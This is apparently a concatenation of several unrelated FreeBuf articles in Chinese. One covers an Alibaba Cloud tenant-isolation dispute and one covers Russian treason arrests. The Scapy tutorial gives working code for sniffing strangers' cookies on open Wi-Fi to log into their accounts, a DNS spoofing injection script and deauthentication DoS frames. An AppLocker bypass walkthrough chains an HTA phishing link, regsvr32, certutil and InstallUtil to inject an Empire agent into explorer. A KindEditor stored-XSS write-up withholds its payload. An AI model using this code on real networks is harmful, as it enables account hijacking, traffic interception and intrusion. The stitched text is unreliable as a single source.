vpc.png

这两天阿里云经典网络安全性的讨论得到了IT圈广泛关注,对此事还未或略有耳闻的吃瓜群众,不妨随扒爷一起全程围观一下吧。

阿里云不同租户不隔离?

2月24日,微博@一乐微博中提到了阿里云的安全隐患:
Cloudflare搞了个大事,这里顺便也提醒大家。千万不要单独评估一个安全漏洞的危害,只要它能干不应该干的事情,就要警惕。 我们前几天也上了一课,一个比特币挖矿程序利用Redis本地提权的漏洞,把我们一个小集群的缓存机器都搞掉了。虽然漏洞刚出的时候,大家还都在说跟自己没关系,我们的Redis都限制内网访问,但是架不住安全组设置错误,这些机器暴露给了其他阿里云用户,也就是说主要某个阿里云邻居用户被黑,他都可以通过扫描进入我们的系统。 问题发现的也很奇葩,这个病毒程序太霸道,它会直接把受影响的Redis权限改掉,导致前端无法访问,这触发了我们的主从自动切换,然后被管理员发现了。他要是偷偷运行,估计还可以潜伏好久(我可不是给他出主意[二哈]) 大家要是感兴趣,这里有个人写过一个类似遭遇 
知名技术博主@左耳朵耗子在其微博下进行了简单的回复,不晓引发了热议。

zed.png

直到2月26日,@左耳朵耗子 又针对这个话题发表文章《科普一下公有云的网络》质疑阿里云的安全策略。 文中称,阿里云的内网使用的是经典网络,在这种环境下,不同的租户是可以互通的,这会带来严重的安全隐患。为了应对这一问题,阿里云采用了安全组。安全组是AWS的Security Group概念,通过制定规则来达到类似防火墙的效果。但安全组存在诸多问题,这些问题让设置变得异常困难和繁琐:
1. 新主机加入或变更后需要频繁更改设置(如IP地址) 2. 如果将安全组配置到网段上,则会涉及IP地址段的分配管理 3. 在公有云上不可能分配专用IP
因此,左耳朵耗子提出,应该使用VPC进行管理。VPC是一种解决内网多租户互相隔离的方案,全称叫VirtualPrivate Cloud。
“一般来说,VPC是通过hack底层的虚拟化系统完成的,也就是说,在Hypervisor层虚拟交换机中实现了一个类似路由器的东西——通过一个用户自定义的虚拟IP和实际IP的关系做packetforwarding或是overlay的机制等。Anyway,实现细节不重要。”
左耳朵耗子希望阿里云能够默认部署VPC:VPC这个事应该是默认为用户开启的,是在VPC上配置安全组,而不是提供VPC和安全组两套可以相互独立网络方案。

安全组究竟安不安全?

处于风暴中心的阿里云自然不能置身事外,阿里云官方发表了一篇有关“安全组功能”的技术博客,并援引2月20日发布的一篇文章,引众多IT圈微博转载。 2月27日,@左耳朵耗子发表文章《关于阿里云经典网络的问题》表示收到了阿里云官方的回复,点燃了新一波热议。 作为曾在阿里巴巴任职的技术专家,左耳朵耗子称,他2013年在阿里商家业务部做聚石塔期间发现阿里云的内网多个租户居然是通的。最后的方案是给聚石塔的租户设置安全组。由于设置的很死,但用户又需要在自己的集群中相互通信,所以,当时的解决方案是,需要用户申请,才开3000-3100的端口范围。
注:当时的阿里云是不让用户编辑安全组的,内网是全互通的。如果我没有记错,到了我快要离开阿里的时候(2015年)才让用户可以编辑安全组的。
也就是说,按左耳朵耗子的说法,在早期阶段阿里云的内网是存在一段时间能够互通的。 另外,经典网络本身存在安全问题:
1)这种网络结构从设计上不可避免的把多个租户放在同一个内网网段!所以,物理层面上来说就是通的! 2)动用安全组来隔离用户是一种相当复杂的事,复杂的东西就容易出错!因为,网络隔离的手段只有配置安全组。所谓安全组就是iptables的配置!而且是在每台宿组机上配置,大家可以想一下,一台机器可以配置多少这样的规则?这是有限制的!而且是在管理上的很复杂的,不但对用户来说很复杂,我相信对阿里云的开发和运维来说也非常复杂!
因此,即便使用了安全组,也无法避免地存在问题。 左耳朵耗子称,使用nmap就能在内网扫到大量主机,可以 ping 通,可以telnet,甚至可以登录,这为黑客留下非常方便的入口:
1) 我本来在公网上扫端口,我分不清哪些IP地址是服务器的,现在好了,上阿里云内网里扫一下,100%都是服务器,效率提高很多啊。 2)另外,经典网络的IP还都是连续的,这太TMD的爽了! 3)我再打个 route 命令看一下路由表,原来还有好多别的内网网段哦。 4)最爽的是,在内网发起攻击,带宽好快啊,而且可能还没安全监控哦…… 5)要是运气好,说不定我还能搞定阿里云的控制系统……

我是说,在座的各位……

昨日,前阿里云高级安全专家、知名云安全研究者 @安全_云舒愤然表示——你们都错了!《租户隔离科普文,阿里云经典网络问题续》: 先说结论:从2009年至今,阿里云不同租户一直默认是隔离的。
我的安全哲学是在安全这个专业领域用户是sb(这里的sb用户也包括资深的开发人员在内,区别在于小白知道自己不懂,资深的开发人员则以为自己懂),安全得由我这种专业人士保护。所以可以看见,我设置的策略是不人性化的,是死规矩是一刀切。在安全领域,用户的资产也得由我说了算。

zzgw.jpeg

文中提及为了用户的方便,原本相互隔离的租户在2015年之后允许用户设置允许一切IP访问自己的安全组,现在的策略是合适的,但却不能保证绝对的安全。这也就是为什么有些网友觉得自己找到了漏洞所在。 接下来云舒对耗子的第一篇文章表达了强烈的不满,他认为耗子作为一个知名技术博主,说出“anyway实现细节不重要”这样的话是有失水准的。就算不提细节,耗子“VPC是通过hack底层的虚拟化系统完成的”的说法也欠考虑的,明显耗子在这场辩论中已完全落败。 而关于VPC,云舒给出了自己的理解。
首先云计算VM是讲究漂移的,有因为故障发生的漂移,也有因为用户主动发起的跨区域的漂移。漂移过程中要求保证业务尽量不中断,则需要保证vm的ip地址、mac地址不变,这就意味着需要一个巨大的二层网络,甚至是跨区域的。而二层网络越大,交换设备的cam表压力也越大,甚至爆掉,arp之类的广播风暴也越严重,所以要把vm层面的一些东西对物理交换机屏蔽掉,分层处理。 其次,VPC给用户一种很好的体验,延续传统网络时代自己组网自己规划的那种感觉,当然也可以更灵活的设计自己想要的东西,甚至形成service chain。

QQ图片20170228214900.png

随后云舒对于耗子的第二篇文章中的论点进行了“解答”和“挑战”。
“当时有一个很大的安全问题是——阿里云的内网多个租户居然是通的。”
不知道耗子知道不知道,因为一些我不方便说的原因,聚石塔是由淘宝维护负责的电商云,其实是属于同一个租户的!同一个租户,当然是互通的啊。我不知道耗子是知道那个原因不说,因为知道我不可能说,还是真不知道——按说你当时也P9,应该知道吧。不说这个,但是至少,聚石塔所有的vm是属于同一个租户的,你也不知道么?那你负责聚石塔是怎么负责的?也是“anyway,细节不重要”?
也许事情到这里也差不多告一段落了,耗子昨日下午在微博也做出了言和回应——初衷也是好的,只是没有深入研究,还不小心踢到了钢板……

QQ图片20170228215012.png

*本文作者:安全深扒,转载请注明来自Freebuf.COM

本月初我们曾报道过去年12月卡巴斯基实验室的顶级安全研究人员Ruslan Stoyanov与两名FSB(俄罗斯联邦安全局)官员:Sergei Mikhailov和Dmitry Dokuchayev因涉嫌叛国罪遭俄罗斯当局逮捕的事件。如今此事进一步发酵——这件事可能与一名俄罗斯商人在7年前提交的指控有关,且另有一名前FSB官员Georgy Fomchenkov也因此事遭到逮捕。

Ruslan-Stoyanov.jpg

7年前的陈年往事

路透社援引知情人士的消息称,7年前发起指控的这名商人名为Pavel Vrublevsky——他是欧洲著名的信用卡支付服务公司ChronoPay的创始人。他曾在2010年向FSB等重要政府部门提供了若干人(包括至少一名FSB官员在内)涉嫌叛国罪的证据。 证据显示,文首提到遭到逮捕的几个人涉嫌曾向Verisign等美国公司出售机密信息,这些公司则将机密信息与美国情报机构共享。

实际上Verisign公司有个iDefence团队,该团队会向包括私营企业,政府机构和情报部门在内的客户提供网络犯罪的相关档案。不过,这家公司表示其中的研究并不包含任何机密信息。该公司前分析师Kimberly Zenz表示:“Vrublevsky所说的事情完全没有发生过。” Verisign副总裁,Joshua Ray也否认了这一说法。他拒绝就Stoyanov专门展开评论,但他表示公司以非保密渠道获取信息,同时不会在提供给政府或企业的报告中包含任何涉及国家机密的内容。

Vrublevsky说:2010年我们给FSB和俄罗斯的其他重要机构提供了至少一名FSB雇员,以及其他多人叛国的相关证据。

russian-cyber-experts-treason-charges-linked-7-year-old-allegations-data-sharing-us.jpg

为何现在才提起?

有趣的是,Vrublevsky在提交这些证据后不久,即因涉嫌向商业对手发动网络攻击而遭到逮捕(现已获假释)。他本人否认对于他的这一指控,并归咎于Mikhailov和Stoyanov。据他所说,Mikhailov曾在2010年向Stoyanov泄漏了自己的商业机密。此外另有消息显示,Mikhailov之前曾在私人部门任职顾问,他也是籍此接触到了包括Verisign在内的西方公司。 至今俄罗斯当局还没有就此事发表任何评论,但有网络安全专家认为此举可视为克里姆林宫的强硬表态:俄安全专家与美国政府间任何形式的合作都在禁止之列。在这桩指控沉寂7年之后,俄政府选择在去年年末采取措施无疑是耐人寻味的——当时美国指责俄罗斯背后操纵黑客影响总统大选,此举可否视为对美国政府的反制我们尚不得而知。

另据路透社消息,网上有公开的资料显示:莫斯科地区军事法院已于本月15日驳回了Stoyanov和Fomchenkov的上诉。随后Mikhailov的上诉也在17日遭到驳回。

*参考来源:SecurityAffairs,FB小编cxt编译,转载请注明来自FreeBuf.COM

*原创作者:addadd,本文属FreeBuf原创奖励计划,未经许可禁止转载

Scapy

又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居的密码,其实我们可以用scapy写一些有意思的东西。

IEEE802.11

简述

这是WLAN的协议族,有80211b/g/n等等,协议中规定了不同类型的帧(也就是包的类型),分为数据帧、控制帧、管理帧。 控制帧是用来协调信道等提升数据通信可靠性的。 管理帧用来监督、管理加入和退出无线网络的包。 数据帧就是承载上层数据的包。

关系

这些帧和scapy中的数据包类的对应关系为: Dot11                   三种帧通用的部分 Dot11Beacon        Beacon帧,ap用它来宣誓自己的存在 Dot11Elt               与Dot11Beacon一起出现,承载beacon帧中的数据
Dot11AssoReq     Association Request    Dot11AssoResp   Association Response Dot11ProbeReq   Probe request
Dot11ProbeResp  Probe response
Dot11ReassoReq  ReassociationRequest
Dot11ReassoResp  ReassociationResponse   以上六个都是用来管理station和ap之间关系的管理帧
Dot11Auth            Authentication 申请认证身份 Dot11Deauth        Deauthentication  解除认证,可以用来dos攻击 Dot11WEP           无线链路承载的上层数据被加密后,放在这里

常见的样子(summary)

Beacon帧: RadioTap / 802.11 Management 8L 11:11:11:11:11:11 > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID=’CMCC-EDU’ / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt 加密后的上层数据: RadioTap / 802.11 Data 0L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11WEP

Deauth帧,用来把别人打掉线,很好用: RadioTap / 802.11 Management 12L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11Deauth 未加密的数据帧,开放的wifi里的明文密码就在你的身边划过:

RadioTap / Dot11 / Dot11QoS / LLC / SNAP / IP / TCP 10.181.5.237:57556 > 124.116.181.82:http A / Padding 握手包,使用EAPOL协议: RadioTap / Dot11 / Dot11QoS / LLC / SNAP / EAPOL EAPOL-Key / Raw / Padding

踩过的坑

系统环境

之前一直喜欢用kali,在优化代码的过程中发现嗅探无线数据包的时候,使用filter参数不能成功过滤到未加密的IP数据包(filter=’ip’)。 各种排查最后发现是操作系统的问题,在新装好的kali里也会出问题,但在ubuntu里是没有问题的。

无线环境

平时玩无线的时候当然想一上来看看赤裸的明文数据包,但有时候明明有开放的wifi,却一点明文数据包都抓不到。 受限于硬件,能处理数据包的速率是有限的,如果你周围非常多加密的wifi,很可能网卡就被Beacon帧和各种控制帧淹没了。 所以可以找一个开放wifi多的地方玩,学校图书馆就不错,我们无线校园网都是不加密的嘿嘿。

usb无线网卡

我买的网卡基本都是8187芯片的,淘宝京东都有,想挑一挑可以看看aircrack-ng的官网里的推荐。 天线的水很深啊,最好先买块便宜的玩玩再说。

先看看别人的cookie

scapy_http

这里又要介绍一个包啦,scapy_http是scapy的一个扩展。 平时我们抓到的包都是IP / TCP / Raw 这样的层次,对http协议的处理很不方便。 scapy_http增加了HTTP、HTTPRequest、HTTPResponse层。 pip安装就可以,import scapy_http.http as HTTP 在scapy之后导入就好。

嗅探

  sniff(iface='mon0', prn=lambda x:x.summary(), filter='tcp[13:1]==24')
过滤得到tcp flags为 PA的数据包,可以得到类似这样的结果

00CDB125-7BE9-47B0-8E30-BCF2E484D6D5.png

里面满满的都是信息
for i in b:
    print i.Host + i.Path
    print i.Cookie
    print '======================================='

先直观的看一眼

6B0F5C31-E161-4084-B2E0-5946DF1BC91A.png

有很多app后台的请求,可以收集大量的数据包,然后过滤自己喜欢的host 然后把cookie转换成chrome接收的json形式,直接导入就可以登录别人的账号啦。

DNS MOST攻击

MOST

MITM(man-in-the-middle)我们经常听到,还有另一种man-on-the-side攻击方法,攻击者通过监听信道,通过时间差注入数据。 还可以用来DDOS,嘿嘿

开放wlan中的DNS MOST

想要进行这种攻击,首先要监听信道,上面嗅探cookie已经说明这可以很容易做到。 然后是通过时间差注入,也就是我们要构造恶意的DNS响应包,并在服务器响应前将其返回给客户端 最后可以做到dns劫持一样的效果。

如何构造恶意dns响应

首先要想的是如何让客户端(在没有IDS的情况下)认为我构造的数据包就是服务器返回给他的。 也就是最基本的:
  1. dns协议中的id段要从嗅探道的dns请求中取出来,并放到dns响应中去。

  2. 其次是scapy中dns响应包的构造,返回自己服务器的ip。

  3. dns请求的IP层的源端口目的端口、源ip目的ip都要交换

  4. 80211协议层中的FCfield改为2,意为from-DS,也就是ap发送给station的数据包。

代码

from scapy.all import *

snif_iface = 'mon0'
recv_iface = 'mon0'
cheat_ip = '1.1.1.1'

def prn(pkt):
    resp = RadioTap()/Dot11()/LLC()/SNAP()/IP()/UDP(sport=53)/DNS(qr=1,ra=1,ancount=1)

    #取出DNS协议层的id
    resp[DNS].id = pkt[DNS].id
    #构造DNS数据层
    resp.qd = pkt.qd
    resp[DNS].an = DNSRR(rrname=pkt.qd.name, type='A', rclass='IN',
                         rdata=cheat_ip)

    #交换各地址及端口
    resp.FCfield = 2L
    resp.addr1, resp.addr2, resp.addr3 = pkt.addr2, pkt.addr1, pkt.addr3
    resp.src, resp.dst = pkt.dst, pkt.src
    resp.dport = pkt.sport

    sendp(resp, iface=send_iface, verbose=False, count=10)
    print 'send response to %s for %s'%(resp.dst, resp.qd.qname)

if __name__ == '__main__':
    sniff(prn=prn, filter='udp dst port 53', iface=snif_iface)

需要注意

  1.  监听的网卡和注入数据包的网卡可以不是同一张,效率会更高

  2. 过滤时使用filter参数效率会高很多很多,因为是在内核层面的过滤,使用BPF语法

  3. sendp发包函数在链路层上发送数据,所以我们可以自定义80211的数据包。

  4. sendp在发送的时候会自动计算好各协议层的校验和,如果你想resp = req.copy()这样构造响应包,一定要注意把各层的长度和校验和设置为None,让它在发送的时候重新计算,不然这个数据包是畸形的。我也写了用copy构造的脚本,但应该贴出的代码的行数更少一些。

  5. 两块网卡都要设置在monitor监听模式,具体用airmon-ng等开启监听模式就不赘述了,但一定要注意network-manager、networking等服务对网卡的影响,必要时一定要stop。

最后如何把别人打掉线

Deauthentication帧

这是ap和station中用于中断连接用的帧,而且没有对数据包的来源进行验证。 所以我们可以用它来强制别人掉线,而且还挺不好防的嘿嘿(或者把我笔记本摔掉

代码

pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
sendp(pkt1)
sendp(pkt2)
可以先拿自己的手机试一下 其实aireplay -0 1 -a ap_mac -c client_mac iface 也是使用的deauth dos攻击迫使client重连获取握手包 *原创作者:addadd,本文属FreeBuf原创奖励计划,未经许可禁止转载

对于Windows 7和8.1,很容易利用Powershell并通过反射PE注入绕过应用程序白名单,但Windows 10就不同了。Windows 10中激活了Powershell受限语言模式,再加上AppLockr,上述方法似乎不再行得通。当然,我们可以将PowerShellEmpire作为攻击框架,并采用HTML应用程序攻击向量,但在Powershell受限语言模式为启用状态下,这种攻击颇费周折。那到底还能否采用反射PE注入攻击方法呢?让我们一探究竟。

HTA攻击

我们先简单说一下HTML应用程序作为攻击向量和Powershell Empire的工作原理。在启动Powershell Empire并创建一个监听器之后,我们创建一个HTA stager,并简单地设置监听器名称和输出文件:

1.png

我们把它放在一个可以从受害者机器访问的网络服务器上。 HTA文件包含以下代码:

2.png

由于HTA文件在浏览器沙箱外部打开,因此允许ActiveX对象执行。其只是用base64编码的命令(拉取另一个更大的Empire代理并在内存中执行)启动Powershell。受害者浏览链接并看到:

3.png

然后看到:

4.png

单击运行后发生回调,Empire在受害者机器上启动一个新代理:

5.png

AppLocker和Powershell受限语言

本文讨论的是在AppLocker和“Powershell受限语言模式”为启用状态下如何通过HTA文件获得Empire代理。在此之前先强调一下攻击者获得的结果。如果尝试在计算机上运行一个恶意软件,比如名为Malware.exe的恶意软件,将得到以下提示:

6.png

如果尝试在Powershell中使用.NET组件运行命令,如下所示其被阻止:

7.png

同样,如果像之前一样使用HTA尝试启动相同的攻击,其也将被停止:

8.png

因受限语言模式,我们从Powershell获得了相同的错误。 我们现在必须围绕这一点想办法。

不用Powershell的Powershell

对不使用Powershell.exe运行Powershell命令我们已有研究。想法是,Powershell.exe其实只是.NET程序集System.Management.Automation的一个解释器,完全有可能编写我们自己的解释器来调用该程序集。我们面临的问题是应用程序白名单的存在,因此我们需要以某种方式启动我们的自定义解释器。此外,这个解释器必须运行在一些进程空间,最好把它注入一个现有的进程,而不是创建其自己的进程(代理在使用时其必须保持运行)。我们不妨利用PowerPick项目,其中包含一个名为ReflectivePick的模块,这是一个C ++应用程序,被编译为单个DLL并从System.Management.Automation调用自定义运行空间,这样一来就允许执行Powershell命令。 为了开始测试,我们使用一条简单的命令编译ReflectivePick DLL,以便在运行空间中执行,如下所示:

9.png

我们然后通过使用来自加入白名单的文件夹的rundll32运行ReflectivePick DLL,获得如下结果:

10.png

Powershell命令被执行,更重要的是,虽然AppLocker将Powershell.exe锁定为受限语言,但运行空间的语言模式是FullLanguage。 我们用此更新了argument参数,以包含之前的base64编码的Powershell Empire stager,以及一个解码例程,因为我们不再使用编码参数。我们还将解码的命令记录到了一个文件中,以便能够进行调试。完整命令如下所示:

11.png

从命令行运行更新后的DLL可在文本文件中显示解码的Empire stager:

12.png

一个Empire代理被启动:

13.png

转到其他进程 到目前为止,我们是通过rundll32.exe创建一个新进程,并将DLL加载到其中。这不是一个可行的方法,因为DLL不在白名单中,还有,我们是在创建一个新进程。为了避免这两个问题,我们可以使用Powershell脚本Invoke-ReflectivePEInjection将ReflectivePickDLL加载到另一个进程中。这样无疑会产生在受限语言模式为启用状态下启动Powershell脚本的问题,不过我们稍后再讨论这一点。Invoke-ReflectivePEInjection为我们的用例使用两个参数,即作为字节数组的DLL和要注入的进程的进程ID(PID)。我们想将ReflectivePick DLL注入到explorer进程,所以我们先找到其PID:

14.png

然后我们获得ReflectivePick DLL的内容——字节数组,如下所示:

15.png

Invoke-ReflectivePEInjection脚本作为一个函数编写,因此我们首先导入模块,确保将其放在白名单文件夹中,以暂时避免“受限语言”。然后使用PID和DLL调用它:

16.png

我们注意到,Empire stager创建了调试文本文件,如下所示,我们成功地让代理从explorer进程内运行:

17.png

让我们将用于从DLL获取PID和字节的命令嵌入到Powershell脚本中,并调用该函数,这样我们就不需要先导入它。这通过在脚本文件的末尾添加以下内容来实现:

18.png

然后我们运行没有任何参数的Powershell脚本文件:

19.png

然后我们获得我们的Empire代理回调:

20.png

我们仍然面临着ReflectivePick DLL是磁盘上的外部文件的问题,所以我们将它嵌入到Powershell脚本中。这是通过将DLL字节编码为base64来实现的,如下所示:

21.png

然后将编码文件的内容复制到Powershell脚本中并分配一个变量:

22.png

我们不是从磁盘获取文件的字节,而是通过base64解码变量的内容获得:

23.png

我们再一次收到Empire代理:

24.png

从InstallUtil.exe调用Powershell

原则上,我们还没有实现任何东西,因为我们现在使用Powershell将DLL加载到调用Powershell的内存中,“受限语言模式”仍将阻止它。但是,我们已经确定,Powershell执行发生在现有进程而不是新进程内。因“受限语言模式”的阻止,我们确实需要克服调用Invoke-ReflectivePEInjection的问题。为实现这一点,我们使用InstallUtil.exe运行自定义EXE,这会创建一个非托管Powershell运行空间。 我们将代码修改为只执行一个预定义的命令,开始只是一些虚设代码,目的是确保其按如下所示有效:

25.png

将此编译为名为Bypass.exe的EXE并尝试在受害者机器上运行,其明显被AppLocker阻止。

26.png

然后我们运行InstallUtil.exe,以使用命令行参数执行卸载方法:

27.png

从上面的图片我们可以看到,命令被执行,且自定义Powershell运行空间没有启用“受限语言模式”。从这里,我们将测试命令更改为整个Invoke-ReflectivePEInjection脚本以及我们之前添加的嵌入式DLL和启动命令。我们面临另一个困难,Powershell在新行或分号处打断命令。Invoke-ReflectivePEInjection是用新行创建的,但是将它嵌入到C#项目中需要它在一行中,为此我们首先对整个文件进行base64编码,如下所示:

28.png

然后将其与base64解码例程一起嵌入到EXE中:

29.png

我们还将解码的Powershell命令写入test5.txt文件,以确保其可以正常工作。对更新的代码运行InstallUtil.exe可以得到:

30.png

Invoke-ReflectivePEInjection脚本被解码并保留其新行,此外,Empirestager也被写入其调试文件。Empire代理成功启动,如下所示:

31.png

调用InstallUtil.exe 到目前为止,我们成功将Powershell受限语言模式的绕过转换为了EXE文件的AppLocker绕过。虽然我们也成功地执行了EXE,但我们仍然需要一些方法调用InstallUtil.exe和下载EXE到磁盘。为实现这一点,我们将使用Regsvr32.exe。 Regsvr32.exe可以用来执行scriptlet——其可以包含任意JavaScript。所以,开始我们先欺骗,仍然让EXE在磁盘上,但从Regsvr32.exe运行的脚本片段执行InstallUtil.exe:

32.png

运行后显示如下:

33.png

这给了我们一个Empire代理回调:

34.png

现在你可能想知道为什么要使用Regsvr32.exe启动InstallUtil.exe,因为这样并没有真正获得什么。不过,关键是Regsvr32.exe也可以用来下载EXE到磁盘,此外,脚本片段文件也可以存储在web服务器上,如下图所示:

35.png

下载文件 为测试通过Regsvr32.exe下载,我们base64编码了一些虚设文本:

36.png

然后,我们使用另一种滥用certutil.exe以解码并将其写入磁盘的方法。base64编码文本放在BEGIN CERTIFICATE和END CERTIFICATE标签中,以给certutil.exe提供正确的格式。然后我们将base64编码文本写入文件,然后使用certutil.exe解码,如下所示:

37.png

按以下方式执行:

38.png

文件的内容明显被解码。现在是时候进行一些微调了,现在我们将提供的EXE嵌入InstallUtil.exe。因此,我们在另一台计算机上使用certutil.exe对其进行编码:

39.png

为了让base64能覆盖多行,我们在每一行末尾添加一个反斜线:

40.png

在测试时,事实证明不能在一个脚本片段中嵌入整个编码的EXE。所以我们将其分成了4部分,并插入到单独的脚本片段中。每个脚本片段获取嵌入的Base64代码,并将其写入一个文件,如下所示:

41.png

执行显示正在写入的文件:

42.png

我们然后创建第五个脚本片段文件,该文件获取磁盘上的四个文件,并将这四个文件组合为一个文本文件,并继续调用certutil.exe来解码它并将EXE写入磁盘:

43.png

按如下方式运行所有的脚本片段:

44.png

产生一个Empire代理回调:

45.png

要压缩这个I,通过添加以下内容将对四个从脚本片段的调用嵌入主脚本片段:

46.png

再次运行时给出Empire代理回调:

47.png

回到HTA 现在我们终于有了一个我们可以调用的单一命令,这最终可以创建我们的Empire代理。要启动该命令,我们可以将其嵌入一个HTA文件(就像AppLocker不存在一样):

48.png

指向此文件的链接按通常的方式在钓鱼邮件中发送,最终在用户浏览器中的结果是:

49.png

运行后便给予了我们期望的Empire代理——即使AppLocker和“Powershell受限语言模式”为启用状态:

50.png

结论 总而言之,该方法提供了一个来自Web服务器的HTA,其调用Regsvr32.exe来执行五个脚本片段,这五个脚本片段下载并嵌入base64编码EXE,对它进行解码并将其写入磁盘。然后执行InstallUtil.exe绕过AppLocker,并依次执行EXE的卸载方法。EXE包含一个base64编码Powershell脚本,该脚本在由EXE创建的自定义Powershell运行空间中被解码并执行。Powershell脚本包含一个嵌入的base64编码DLL,DLL被Powershell脚本解码并反射加载到explorer进程中。反射加载的DLL包含一个嵌入式base64编码的Powershell脚本,该脚本在explorer进程中的自定义Powershell运行空间内被解码并执行。Powershell脚本是Powershell Empire代理的正常stager。 要使该攻击有效,以下二进制文件需要被AppLocker列入白名单:
MSHTA.EXE REGSVR32.EXE CERTUTIL.EXE INSTALLUTIL.EXE
如果使用的是默认AppLocker规则或所有Microsoft签名的二进制文件是受信任的,则这四个文件都会被列入白名单。该攻击可绕过AppLocker、“Powershell受限语言模式”及AMSI,但不能绕过ScriptBlock Logging,因此可以被检测到,如下所示:

51.png

单独代码部分的代码见GitHub。 参考网站:https://improsec.com/blog//babushka-dolls-or-how-to-bypass-application-whitelisting-and-constrained-powershell

*原创作者:Fire_l25,本文属FreeBuf原创奖励计划,未经许可禁止转载

0×01 前言

KindEditor 是一套开源的在线HTML编辑器,主要用于让用户在网站上获得所见即所得编辑效果,开发人员可以用 KindEditor 把传统的多行文本输入框(textarea)替换为可视化的富文本输入框。 KindEditor 使用 JavaScript 编写,可以无缝地与 Java、.NET、PHP、ASP等程序集成,比较适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。 在最近的渗透测试工作中,接触到了KindEditor输入框架,经过几番测试发现代码对XSS的防护还是挺全面的,感觉到底是开源代码,就是不一样,但是总感觉哪里不对,也就边放弃边继续,最终发现该框架还是存在一个XSS注入的问题,而且由于利用框架的时候都会将用户输入存入数据库,并对其他用户进行展示,进而引发了危害巨大的存储型XSS漏洞。

0×02 测试过程

首先,你得找到一个(女朋友)使用这种框架的网站,通过查看加载的js文件确认是否包含KindEditor框架(外观如下图):

1.png

然后开始测试,随意输入一段字符

cnm.png

 我们找的示例网站中,在本地对提交的数据进行了编码,但是很明显可以看出是ASCII Hex编码,解码看到明文。 然后尝试输入可以引入标签的尖括号<> (下图中的<br>是客户端自己添加的)

2.png

解码后,我们可以看到开发人员在本地对尖括号进行了HTML编码,上burp,直接截取重放,过了客户端编码。 可是当我们输入<script>时,我们看到了返回结果中已经将该位置的内容重置成了test1(也就是用户名)

3.png

这也就意味着服务端中的过滤机制进行了正则匹配的过滤,只要<>包含特定内容,就直接替换成一个固定值,这样我们就不能成功的引入<>标签了,也就很难加入<script>标签,但是该位置的内容也不能结合属性标签进行注入,所以我们还是要想新的办法来先过服务端的过滤机制。 尝试对<>进行编码,但是很不幸的是,进行了编码后,发现返回的内容要么乱码,要么是标签被作为内容直接插入,如下图(如果是标签会被标识为蓝色)。

4.png

这就意味着服务端是过了,但是KindEditor对输出的内容进行了转义,使其不能作为标签插入HTML页面中。 接着又尝试输入空标签<>

5.png

输入空标签之后,我们看到<script>标签已经被完整返回回来了,但是总感觉开源代码不会这么简单,果然在相关页面上,alert语句并没有被执行,但是在html文档中可以看到<script>已经被成功识别为一个标签了。

6.png

分析原因,应该是,在我们的<script>标签插入html文档中的时候,整个页面已经load完成了,所以<script>标签并没有执行。既然,<script>标签没有被执行,那我们可以通过事件方案来触发进行执行啊,所以开始引入onclick事件,

7.png

从返回结果来看,一切都那么完美,感觉就要胜利了,然而当我们将鼠标点上去的时候,所有的幻想都破灭了,弹出一个新标签页,然后什么也没有了,说好的弹窗呢。查看页面

8.png

完美的开源代码,将事件处理函数修改了,所以不能成功执行。通过测试其他的事件和使用JavaScript伪协议,都是同样的问题,在on和java之后添加了下划线。到底是开源代码,服了,好吧,该放弃这个女朋友了。 但是总感觉哪里有问题,不该是这样的结局,开始重新整理思路: <>空标签可以帮我们绕过服务端基本的过滤机制,但是新加入的<script>不能被成功执行,事件处理函数又被KindEditor给清洗了,那可不可以试试其他标签,不需要其他通过事件监听来触发的标签呢,还真被我找到了,成功穿过KindEditor的围堵。

9.png

10.png

终于,看到了我们最喜爱的弹窗,收工。(由于还在于框架作者进行联系,所以这里不方便透漏具体的注入代码)。

0×03 源码分析

为了确定是网站开发人员使用的问题还是KindEditor本身的问题,我们前往官网下载它的源代码进行分析。 整个项目的目录结构如下

11.png

打开KindEditor-all.js文件,开始分析。 如果KindEditor本身做了处理,肯定是以关键字filter定义的,全局搜索filter。发现代码中filter相关的参数被_formatHtml函数调用。

12.png

找到该函数的定义

13.png

从函数定义中我们可以看到KindEditor确实对输入内容进行了相关的过滤,只是在过滤时并未完美处理所有的输入情况。通过分析源代码我们也可以看到,KindEditor确实也没有对我们输入的标签进行过滤,从而引发了XSS注入的问题。

0×04 总结

从KindEditor的官方网站http://kindeditor.net的案例页面我们可以看到国内还是有很多网站使用了相关技术,下面是一些使用这些网站的厂商。

15.png

wtf.png

但是之后,对上面提到的网站进行测试,发现其中的一部分网站已经没有在使用相关代码了,但是从KindEditor的github主页上看到还是有很大一部分人关注这一项目,这就证明还是有很多人在使用这一框架。只要使用就可能会存在这样的存储型的XSS漏洞,至于XSS漏洞的危害,就不需要多说了。

0×05 防范措施

在开发过程中开发人员不能过度依赖第三方库所做的防范,还是需要在内容输出时进行Html编码,或者完善已有的过滤规则,从而杜绝类似的注入攻击。

0×06 感谢

感谢斌爷在整个测试过程中对我前端相关技术的指导,这个女朋友有你一半。 *原创作者:Fire_l25,本文属FreeBuf原创奖励计划,未经许可禁止转载